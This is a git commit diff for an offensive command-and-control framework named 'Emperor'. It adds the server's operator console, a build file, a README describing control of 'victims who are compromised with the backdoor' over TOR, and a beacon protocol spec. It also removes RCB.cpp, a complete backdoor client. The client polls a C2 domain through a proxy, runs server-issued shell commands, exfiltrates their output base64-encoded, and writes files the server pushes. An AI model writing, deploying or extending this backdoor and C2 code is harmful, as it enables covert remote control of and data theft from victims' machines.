 | 
				
			||||||
 | 
					             888'     Y8888888888                        
 | 
				
			||||||
 | 
					             `Y8      :8888888888                      
 | 
				
			||||||
 | 
					              |`      '8888888888                    
 | 
				
			||||||
 | 
					              |        8888888888                     
 | 
				
			||||||
 | 
					              |        8888888888                    
 | 
				
			||||||
 | 
					              |        8888888888                       
 | 
				
			||||||
 | 
					              |       ,888888888P                    
 | 
				
			||||||
 | 
					              :       ;888888888'                    
 | 
				
			||||||
 | 
					               \      d88888888'                       
 | 
				
			||||||
 | 
					              _.>,    888888P'                           
 | 
				
			||||||
 | 
					            <,--''`.._>8888(                        
 | 
				
			||||||
 | 
					             `>__...--' `''`    )"
 | 
				
			||||||
 | 
							  << std::endl;
 | 
				
			||||||
 | 
						std::cout << "=========================================" << std::endl;	// print out fancy splash screen for server
 | 
				
			||||||
 | 
						std::string sCommand;							// declare string sCommand for storing user input
 | 
				
			||||||
 | 
						while (true)								// loop forever
 | 
				
			||||||
 | 
						{
 | 
				
			||||||
 | 
							std::cout << "[EMPEROR]>";	   // print prompt
 | 
				
			||||||
 | 
							std::getline(std::cin, sCommand);  // get input to sCommand string
 | 
				
			||||||
 | 
							std::regex rConnect("connect ");   // compile rConnect regex
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
							if (sCommand == "connections")	// if the user wants to list the current connections
 | 
				
			||||||
 | 
							{
 | 
				
			||||||
 | 
								std::cout << listUserConnections(mConnections);	 // then call the listUserConnections function with the argument of the mConnections map and print the return from the function
 | 
				
			||||||
 | 
							}
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
							if (std::regex_search(sCommand, rConnect))  // if the user is trying to interact with a specific connection
 | 
				
			||||||
 | 
							{
 | 
				
			||||||
 | 
								std::vector<std::string> sCommands;	     // declare a vector of strings sCommands which is used to store the command after it has been split
 | 
				
			||||||
 | 
								std::string sSplit;			     // declare string sSplit for storing each section of the split string
 | 
				
			||||||
 | 
								for (int i = 0; i < sCommand.length(); i++)  // for each char in the sCommand string
 | 
				
			||||||
 | 
								{
 | 
				
			||||||
 | 
									if (sCommand[i] == ' ')	 // if the char is a space
 | 
				
			||||||
 | 
									{
 | 
				
			||||||
 | 
										sCommands.push_back(sSplit);  // add the sSplit string to the sCommands vector
 | 
				
			||||||
 | 
										/*if (sCommands.size() >= 2) // if the sCommands vector has two strings
 | 
				
			||||||
 | 
										{
 | 
				
			||||||
 | 
											break; // then break out of the for loop
 | 
				
			||||||
 | 
										}*/
 | 
				
			||||||
 | 
										sSplit = "";  // set the sSplit string to empty
 | 
				
			||||||
 | 
									}
 | 
				
			||||||
 | 
									else  // otherwise
 | 
				
			||||||
 | 
									{
 | 
				
			||||||
 | 
										sSplit.push_back(sCommand[i]);	   // add the currently selected char from the sCommand string to the sSplit string
 | 
				
			||||||
 | 
										if (i == (sCommand.length() - 1))  // if the end of the sCommand string has been reached
 | 
				
			||||||
 | 
										{
 | 
				
			||||||
 | 
											sCommands.push_back(sSplit);  // add the sSplit string to the sCommands vector
 | 
				
			||||||
 | 
										}
 | 
				
			||||||
 | 
									}
 | 
				
			||||||
 | 
								}
 | 
				
			||||||
 | 
								if (mConnections[sCommands[1]])	 // if the client which the user wishes to interact with has an active connection
 | 
				
			||||||
 | 
								{
 | 
				
			||||||
 | 
									interactConnection(sCommands[1]);  // then begin interacting with the connection, providing interactConnection with the username of the client in question
 | 
				
			||||||
 | 
								}
 | 
				
			||||||
 | 
								else  // otherwise
 | 
				
			||||||
 | 
								{
 | 
				
			||||||
 | 
									std::cout << "That client is not currently connected." << std::flush;  // tell the user the client is not currently connected
 | 
				
			||||||
 | 
								}
 | 
				
			||||||
 | 
							}
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
							if (sCommand == "q" || sCommand == "quit" || sCommand == "exit")  // if the user wishes to quit
 | 
				
			||||||
 | 
							{
 | 
				
			||||||
 | 
								bShutdown = true;  // set the bShutdown flag to true
 | 
				
			||||||
 | 
								break;		   // break out of the while loop
 | 
				
			||||||
 | 
							}
 | 
				
			||||||
 | 
						}
 | 
				
			||||||
 | 
					}
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					int main(int argc, char **argv)
 | 
				
			||||||
 | 
					{
 | 
				
			||||||
 | 
						command_and_control c2;						// instanciate the command and control class
 | 
				
			||||||
 | 
						httpserver::webserver ws = httpserver::create_webserver(8665);	// create the webserver, ensuring ssl is enabled and
 | 
				
			||||||
 | 
														// the server is using the provided crt and key
 | 
				
			||||||
 | 
						ws.register_resource("/", &c2);	 // register the c2 resource at a randomly generated URL
 | 
				
			||||||
 | 
						// ws.register_resource("/YVDvOraEcGwPAyjuBFzGespbRzifTpi", &c2);									   // register the c2 resource at a randomly
 | 
				
			||||||
 | 
						// generated URL
 | 
				
			||||||
 | 
						ws.start(false);		       // start the webserver in non-blocking mode
 | 
				
			||||||
 | 
						std::thread tCheck(checkConnections);  // run checkConnections in a new thread
 | 
				
			||||||
 | 
						prompt();			       // run the interactive prompt
 | 
				
			||||||
 | 
						tCheck.join();			       // after the prompt has exited, wait for the checkConnections thread to end
 | 
				
			||||||
 | 
						return 0;
 | 
				
			||||||
 | 
					}
 | 
				
			||||||
							
								
								
									
										7
									
								
								Makefile
									
									
									
									
									
								
							
							
						
						
									
										7
									
								
								Makefile
									
									
									
									
									
								
							@ -1,7 +1,2 @@
 | 
				
			|||||||
$(info username is $(sUsername))
 | 
					 | 
				
			||||||
$(info password is $(sPassword))
 | 
					 | 
				
			||||||
$(info c2 domain is $(sC2Domain))
 | 
					 | 
				
			||||||
$(info proxy is $(sProxy))
 | 
					 | 
				
			||||||
 | 
					 | 
				
			||||||
default:
 | 
					default:
 | 
				
			||||||
	g++ -DsUsername="$(sUsername)" -DsPassword="$(sPassword)" -DsC2Domain="$(sC2Domain)" -DsProxy="$(sProxy)" RCB.cpp -o RCB -lcurl
 | 
						g++ Emperor.cpp -I /usr/local/include -L /usr/local/lib -lhttpserver -pthread -o Emperor
 | 
				
			||||||
 | 
				
			|||||||
							
								
								
									
										219
									
								
								RCB.cpp
									
									
									
									
									
								
							
							
						
						
									
										219
									
								
								RCB.cpp
									
									
									
									
									
								
							@ -1,219 +0,0 @@
 | 
				
			|||||||
#include <curl/curl.h>
 | 
					 | 
				
			||||||
#include <unistd.h>
 | 
					 | 
				
			||||||
 | 
					 | 
				
			||||||
#include <array>
 | 
					 | 
				
			||||||
#include <fstream>
 | 
					 | 
				
			||||||
#include <iostream>
 | 
					 | 
				
			||||||
#include <regex>
 | 
					 | 
				
			||||||
#include <string>
 | 
					 | 
				
			||||||
 | 
					 | 
				
			||||||
#define STR1(x) #x  // double string expansion nightmare
 | 
					 | 
				
			||||||
#define STR(x) STR1(x)
 | 
					 | 
				
			||||||
 | 
					 | 
				
			||||||
size_t writeCallback(void *contents, size_t size, size_t nmemb, std::string *s)
 | 
					 | 
				
			||||||
{
 | 
					 | 
				
			||||||
	size_t newLength = size * nmemb;
 | 
					 | 
				
			||||||
	try
 | 
					 | 
				
			||||||
	{
 | 
					 | 
				
			||||||
		s->append((char *)contents, newLength);
 | 
					 | 
				
			||||||
	}
 | 
					 | 
				
			||||||
	catch (std::bad_alloc &e)
 | 
					 | 
				
			||||||
	{
 | 
					 | 
				
			||||||
		// handle memory problem
 | 
					 | 
				
			||||||
		return 0;
 | 
					 | 
				
			||||||
	}
 | 
					 | 
				
			||||||
	return newLength;
 | 
					 | 
				
			||||||
}
 | 
					 | 
				
			||||||
 | 
					 | 
				
			||||||
std::string encodeTriplet(std::uint8_t iByte1, std::uint8_t iByte2, std::uint8_t iByte3)
 | 
					 | 
				
			||||||
{
 | 
					 | 
				
			||||||
	std::array<char, 64> encodeTable{'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V',
 | 
					 | 
				
			||||||
					 'W', 'X', 'Y', 'Z', 'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r',
 | 
					 | 
				
			||||||
					 's', 't', 'u', 'v', 'w', 'x', 'y', 'z', '0', '1', '2', '3', '4', '5', '6', '7', '8', '9', '+', '/'};
 | 
					 | 
				
			||||||
	std::string sEncodedTriplet = "";
 | 
					 | 
				
			||||||
	std::uint32_t combinedTriplet = (iByte1 << 16) | (iByte2 << 8) | iByte3;
 | 
					 | 
				
			||||||
	sEncodedTriplet += encodeTable[combinedTriplet >> 18];
 | 
					 | 
				
			||||||
	sEncodedTriplet += encodeTable[combinedTriplet >> 12 & 0x3F];
 | 
					 | 
				
			||||||
	sEncodedTriplet += encodeTable[combinedTriplet >> 6 & 0x3F];
 | 
					 | 
				
			||||||
	sEncodedTriplet += encodeTable[combinedTriplet & 0x3F];
 | 
					 | 
				
			||||||
	return sEncodedTriplet;
 | 
					 | 
				
			||||||
}
 | 
					 | 
				
			||||||
 | 
					 | 
				
			||||||
std::string b64Encode(std::string sWriteData)
 | 
					 | 
				
			||||||
{
 | 
					 | 
				
			||||||
	std::string sEncodedData = "";
 | 
					 | 
				
			||||||
	std::string sEncodedBuffer;
 | 
					 | 
				
			||||||
 | 
					 | 
				
			||||||
	while (sWriteData.length() > 0)
 | 
					 | 
				
			||||||
	{
 | 
					 | 
				
			||||||
		if (sWriteData.length() >= 3)
 | 
					 | 
				
			||||||
		{
 | 
					 | 
				
			||||||
			sEncodedData += encodeTriplet(sWriteData[0], sWriteData[1], sWriteData[2]);
 | 
					 | 
				
			||||||
			sWriteData.erase(0, 3);
 | 
					 | 
				
			||||||
		}
 | 
					 | 
				
			||||||
		else if (sWriteData.length() == 2)
 | 
					 | 
				
			||||||
		{
 | 
					 | 
				
			||||||
			sEncodedBuffer = encodeTriplet(sWriteData[0], sWriteData[1], '0');
 | 
					 | 
				
			||||||
			sEncodedBuffer.replace(3, 1, "$");
 | 
					 | 
				
			||||||
			sEncodedData += sEncodedBuffer;
 | 
					 | 
				
			||||||
			sWriteData.erase();
 | 
					 | 
				
			||||||
		}
 | 
					 | 
				
			||||||
		else if (sWriteData.length() == 1)
 | 
					 | 
				
			||||||
		{
 | 
					 | 
				
			||||||
			sEncodedBuffer = encodeTriplet(sWriteData[0], '0', '0');
 | 
					 | 
				
			||||||
			sEncodedBuffer.replace(2, 2, "$$");
 | 
					 | 
				
			||||||
			sEncodedData += sEncodedBuffer;
 | 
					 | 
				
			||||||
			sWriteData.erase();
 | 
					 | 
				
			||||||
		}
 | 
					 | 
				
			||||||
	}
 | 
					 | 
				
			||||||
	return sEncodedData;
 | 
					 | 
				
			||||||
}
 | 
					 | 
				
			||||||
 | 
					 | 
				
			||||||
std::string sendData(std::string sParam1, std::string sValue1, std::string sParam2 = "", std::string sValue2 = "")
 | 
					 | 
				
			||||||
{
 | 
					 | 
				
			||||||
	CURL *curl;
 | 
					 | 
				
			||||||
	CURLcode res;
 | 
					 | 
				
			||||||
	std::string sReadData;
 | 
					 | 
				
			||||||
	sValue1 = b64Encode(sValue1);
 | 
					 | 
				
			||||||
	std::string sWriteData = sParam1 + "=" + sValue1;
 | 
					 | 
				
			||||||
 | 
					 | 
				
			||||||
	if (sParam2 != "")
 | 
					 | 
				
			||||||
	{
 | 
					 | 
				
			||||||
		sValue2 = b64Encode(sValue2);
 | 
					 | 
				
			||||||
		sWriteData = sWriteData + "&" + sParam2 + "=" + sValue2;
 | 
					 | 
				
			||||||
	}
 | 
					 | 
				
			||||||
 | 
					 | 
				
			||||||
	curl = curl_easy_init();  // init curl
 | 
					 | 
				
			||||||
 | 
					 | 
				
			||||||
	if (curl)
 | 
					 | 
				
			||||||
	{
 | 
					 | 
				
			||||||
		curl_easy_setopt(curl, CURLOPT_PROXY, STR(sProxy));	       // set proxy to use
 | 
					 | 
				
			||||||
		curl_easy_setopt(curl, CURLOPT_URL, STR(sC2Domain));	       // c2 domain to connect to
 | 
					 | 
				
			||||||
		curl_easy_setopt(curl, CURLOPT_HTTPAUTH, CURLAUTH_BASIC);      // http basic auth
 | 
					 | 
				
			||||||
		curl_easy_setopt(curl, CURLOPT_POST, 1L);		       // choose http post method
 | 
					 | 
				
			||||||
		curl_easy_setopt(curl, CURLOPT_USERNAME, STR(sUsername));      // set username for http auth
 | 
					 | 
				
			||||||
		curl_easy_setopt(curl, CURLOPT_PASSWORD, STR(sPassword));      // set password for http auth
 | 
					 | 
				
			||||||
		curl_easy_setopt(curl, CURLOPT_WRITEFUNCTION, writeCallback);  // write function for storing response
 | 
					 | 
				
			||||||
		// char *cWriteData = curl_easy_escape(curl, sWriteData.c_str(), sWriteData.length());
 | 
					 | 
				
			||||||
		curl_easy_setopt(curl, CURLOPT_POSTFIELDSIZE_LARGE, sWriteData.length());  // set the post request field size
 | 
					 | 
				
			||||||
		curl_easy_setopt(curl, CURLOPT_POSTFIELDS, sWriteData.c_str());		   //);	     // choose the data to send in the post request
 | 
					 | 
				
			||||||
		curl_easy_setopt(curl, CURLOPT_WRITEDATA, &sReadData);			   // write the data to the writeCallback function
 | 
					 | 
				
			||||||
		curl_easy_perform(curl);						   // run query
 | 
					 | 
				
			||||||
	}
 | 
					 | 
				
			||||||
	return sReadData;
 | 
					 | 
				
			||||||
}
 | 
					 | 
				
			||||||
 | 
					 | 
				
			||||||
std::string exec(std::string sCommand)	// takes a pointer to an array of char containing the command and executes it in the shell, returning the stdout
 | 
					 | 
				
			||||||
{
 | 
					 | 
				
			||||||
	std::array<char, 128> buffer;							      // define 128 length array of char for buffering stdout to result
 | 
					 | 
				
			||||||
	std::string result;								      // declare string result for later use
 | 
					 | 
				
			||||||
	std::unique_ptr<FILE, decltype(&pclose)> pipe(popen(sCommand.c_str(), "r"), pclose);  // run popen with the command as an argument
 | 
					 | 
				
			||||||
	if (!pipe)									      // if the popen was unsuccessful for whatever reason
 | 
					 | 
				
			||||||
	{
 | 
					 | 
				
			||||||
		throw std::runtime_error("popen() failed!");  // throw runtime error
 | 
					 | 
				
			||||||
	}
 | 
					 | 
				
			||||||
	while (fgets(buffer.data(), buffer.size(), pipe.get()) != nullptr)  // whilst data is being written to the stdout, add the buffered data to the result string
 | 
					 | 
				
			||||||
	{
 | 
					 | 
				
			||||||
		result += buffer.data();
 | 
					 | 
				
			||||||
	}
 | 
					 | 
				
			||||||
	return result;	// return the result of the command
 | 
					 | 
				
			||||||
}
 | 
					 | 
				
			||||||
 | 
					 | 
				
			||||||
int main()
 | 
					 | 
				
			||||||
{
 | 
					 | 
				
			||||||
	const std::string sOk = "msg=acknowledged";
 | 
					 | 
				
			||||||
	std::regex rRun("^run=(.|\n)+");	  // compile regular expression rRun, which matches the run command (to execute an instruction)
 | 
					 | 
				
			||||||
	std::regex rUpload("^filename=(.|\n)+");  // compile regular expression rUpload, which matches the filename command (to upload a file)
 | 
					 | 
				
			||||||
	std::string sResponse;			  // declare string sResponse for later use
 | 
					 | 
				
			||||||
	srand(time(0));				  // init srand with the current unix time as the seed
 | 
					 | 
				
			||||||
 | 
					 | 
				
			||||||
	sResponse = sendData("msg", "ready", "type", "basic");
 | 
					 | 
				
			||||||
	std::cout << sResponse << std::endl;
 | 
					 | 
				
			||||||
	if (sResponse == sOk)  // if the server acknowledges our connection
 | 
					 | 
				
			||||||
	{
 | 
					 | 
				
			||||||
		while (true)
 | 
					 | 
				
			||||||
		{
 | 
					 | 
				
			||||||
			sResponse = sendData("msg", "reqcmd");
 | 
					 | 
				
			||||||
			std::cout << sResponse << std::endl;
 | 
					 | 
				
			||||||
 | 
					 | 
				
			||||||
			if (std::regex_match(sResponse, rRun))	// if the server has provided us with a command to run
 | 
					 | 
				
			||||||
			{
 | 
					 | 
				
			||||||
				std::vector<std::string> sData;		      // declares a vector of strings sData
 | 
					 | 
				
			||||||
				std::string sSplit;			      // declares string sSplit for later use
 | 
					 | 
				
			||||||
				for (int i = 0; i < sResponse.length(); i++)  // for each char in the sCommand string
 | 
					 | 
				
			||||||
				{
 | 
					 | 
				
			||||||
					if (sResponse[i] == '=')  // if we have reached the end of the parameter
 | 
					 | 
				
			||||||
					{
 | 
					 | 
				
			||||||
						sData.push_back(sSplit);  // add the sSplit string to the vector of strings sCommands
 | 
					 | 
				
			||||||
						sSplit = "";		  // set sSplit to empty
 | 
					 | 
				
			||||||
					}
 | 
					 | 
				
			||||||
					else  // otherwise
 | 
					 | 
				
			||||||
					{
 | 
					 | 
				
			||||||
						sSplit.push_back(sResponse[i]);	    // add the selected char to the sSplit string
 | 
					 | 
				
			||||||
						if (i == (sResponse.length() - 1))  // if we have reached the end of the sCommand string
 | 
					 | 
				
			||||||
						{
 | 
					 | 
				
			||||||
							sData.push_back(sSplit);  // then add the sSplit string to the vector of strings sCommands
 | 
					 | 
				
			||||||
						}
 | 
					 | 
				
			||||||
					}
 | 
					 | 
				
			||||||
				}
 | 
					 | 
				
			||||||
 | 
					 | 
				
			||||||
				std::string sOutput = exec(sData[1]);
 | 
					 | 
				
			||||||
				std::cout << sOutput;
 | 
					 | 
				
			||||||
				sResponse = sendData("result", sOutput);  // execute the command, saving the response to sResponse
 | 
					 | 
				
			||||||
				std::cout << sResponse << std::endl;
 | 
					 | 
				
			||||||
 | 
					 | 
				
			||||||
				while (true)
 | 
					 | 
				
			||||||
				{
 | 
					 | 
				
			||||||
					if (sResponse != sOk)  // if server does not respond as expected
 | 
					 | 
				
			||||||
					{
 | 
					 | 
				
			||||||
						sResponse = sendData("result", sOutput);  // send returned data again
 | 
					 | 
				
			||||||
						std::cout << sResponse << std::endl;
 | 
					 | 
				
			||||||
					}
 | 
					 | 
				
			||||||
					else
 | 
					 | 
				
			||||||
					{
 | 
					 | 
				
			||||||
						break;
 | 
					 | 
				
			||||||
					}
 | 
					 | 
				
			||||||
					sleep(5);  // perform this loop every 5 secs
 | 
					 | 
				
			||||||
				}
 | 
					 | 
				
			||||||
			}
 | 
					 | 
				
			||||||
 | 
					 | 
				
			||||||
			else if (std::regex_match(sResponse, rUpload))
 | 
					 | 
				
			||||||
			{
 | 
					 | 
				
			||||||
				std::ofstream fFile;
 | 
					 | 
				
			||||||
				std::vector<std::string> sData;	 // declares a vector of strings sData
 | 
					 | 
				
			||||||
				std::string sSplit;
 | 
					 | 
				
			||||||
				for (int i = 0; i < sResponse.length(); i++)
 | 
					 | 
				
			||||||
				{
 | 
					 | 
				
			||||||
					if (sResponse[i] == '=' || sResponse[i] == '&')	 // if we have reached the end of the parameter
 | 
					 | 
				
			||||||
					{
 | 
					 | 
				
			||||||
						sData.push_back(sSplit);  // add the sSplit string to the vector of strings sCommands
 | 
					 | 
				
			||||||
						sSplit = "";		  // set sSplit to empty
 | 
					 | 
				
			||||||
					}
 | 
					 | 
				
			||||||
 | 
					 | 
				
			||||||
					else  // otherwise
 | 
					 | 
				
			||||||
					{
 | 
					 | 
				
			||||||
						sSplit.push_back(sResponse[i]);	    // add the selected char to the sSplit string
 | 
					 | 
				
			||||||
						if (i == (sResponse.length() - 1))  // if we have reached the end of the sCommand string
 | 
					 | 
				
			||||||
						{
 | 
					 | 
				
			||||||
							sData.push_back(sSplit);  // then add the sSplit string to the vector of strings sCommands
 | 
					 | 
				
			||||||
						}
 | 
					 | 
				
			||||||
					}
 | 
					 | 
				
			||||||
				}
 | 
					 | 
				
			||||||
 | 
					 | 
				
			||||||
				fFile.open(sData[1]);  // open a file for writing with the filename provided
 | 
					 | 
				
			||||||
 | 
					 | 
				
			||||||
				if (fFile)
 | 
					 | 
				
			||||||
				{
 | 
					 | 
				
			||||||
					fFile << sData[3];  // write the content of the file
 | 
					 | 
				
			||||||
					std::cout << sendData("msg", "saved");
 | 
					 | 
				
			||||||
				}
 | 
					 | 
				
			||||||
				else
 | 
					 | 
				
			||||||
				{
 | 
					 | 
				
			||||||
					std::cout << "Could not write to local file." << std::endl;
 | 
					 | 
				
			||||||
					std::cout << sendData("msg", "error");
 | 
					 | 
				
			||||||
				}
 | 
					 | 
				
			||||||
			}
 | 
					 | 
				
			||||||
		}
 | 
					 | 
				
			||||||
	}
 | 
					 | 
				
			||||||
	return 0;
 | 
					 | 
				
			||||||
}
 | 
					 | 
				
			||||||
							
								
								
									
										11
									
								
								README.md
									
									
									
									
									
										
										
										Executable file → Normal file
									
								
							
							
						
						
									
										11
									
								
								README.md
									
									
									
									
									
										
										
										Executable file → Normal file
									
								
							@ -1,9 +1,6 @@
 | 
				
			|||||||
# Remote Control Beacon
 | 
					# Emperor
 | 
				
			||||||
A client side Emperor C2 framework backdoor.
 | 
					Emperor is a C2 framework for commanding and controlling compromised hosts through the TOR network.
 | 
				
			||||||
 | 
					
 | 
				
			||||||
This backdoor can communicate with Emperor itself, and can perform the following functions:
 | 
					Communication is achieved through the use of a socks5 bridge (known as a forward operating base) between the compromised host running a client, which relays the communications through TOR, to the server, which is running as a TOR hidden service.
 | 
				
			||||||
* Connect to the server (via TOR through a configured FOB)
 | 
					 | 
				
			||||||
* Request and execute commands
 | 
					 | 
				
			||||||
* Upload and download files to and from the server
 | 
					 | 
				
			||||||
 | 
					
 | 
				
			||||||
Most of the communications between the client and server are base64 encoded, but not encrypted. This means that the traffic, before reaching the FOB, is unencrypted. I was considering maybe adding RC4 encryption in the future :)
 | 
					This repository contains the files for the Emperor server, which is used to communicate with victims who are compromised with the backdoor :)
 | 
				
			||||||
 | 
				
			|||||||
							
								
								
									
										31
									
								
								protocol
									
									
									
									
									
										Executable file
									
								
							
							
						
						
									
										31
									
								
								protocol
									
									
									
									
									
										Executable file
									
								
							@ -0,0 +1,31 @@
 | 
				
			|||||||
 | 
					CORE FEATURES
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					server <-- client
 | 
				
			||||||
 | 
					REGISTRATION
 | 
				
			||||||
 | 
					msg=ready&type=basic
 | 
				
			||||||
 | 
					OR
 | 
				
			||||||
 | 
					msg=ready&type=advanced
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					server --> client
 | 
				
			||||||
 | 
					ACKNOWLEDGE
 | 
				
			||||||
 | 
					user=(username of client)&msg=acknowledged
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					server <-- client
 | 
				
			||||||
 | 
					REQUEST COMMAND (RUNNING AT REGULAR INTERVALS)
 | 
				
			||||||
 | 
					msg=reqcmd
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					server --> client
 | 
				
			||||||
 | 
					RESPONSE WITH NO COMMAND IN QUEUE (RESPONSE TO PREVIOUS HTTP REQUEST)
 | 
				
			||||||
 | 
					msg=nocmd
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					server --> client
 | 
				
			||||||
 | 
					RESPONSE ISSUING COMMAND (RESPONSE TO PREVIOUS HTTP REQUEST)
 | 
				
			||||||
 | 
					run=id
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					server <-- client
 | 
				
			||||||
 | 
					RESULT
 | 
				
			||||||
 | 
					result=uid=1000(elimin8)
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					server --> client
 | 
				
			||||||
 | 
					ACKNOWLEDGE
 | 
				
			||||||
 | 
					user=(username of client)&msg=acknowledged
 | 
				
			||||||
		Loading…
	
	
			
			x
			
			
		
	
		Reference in New Issue
	
	Block a user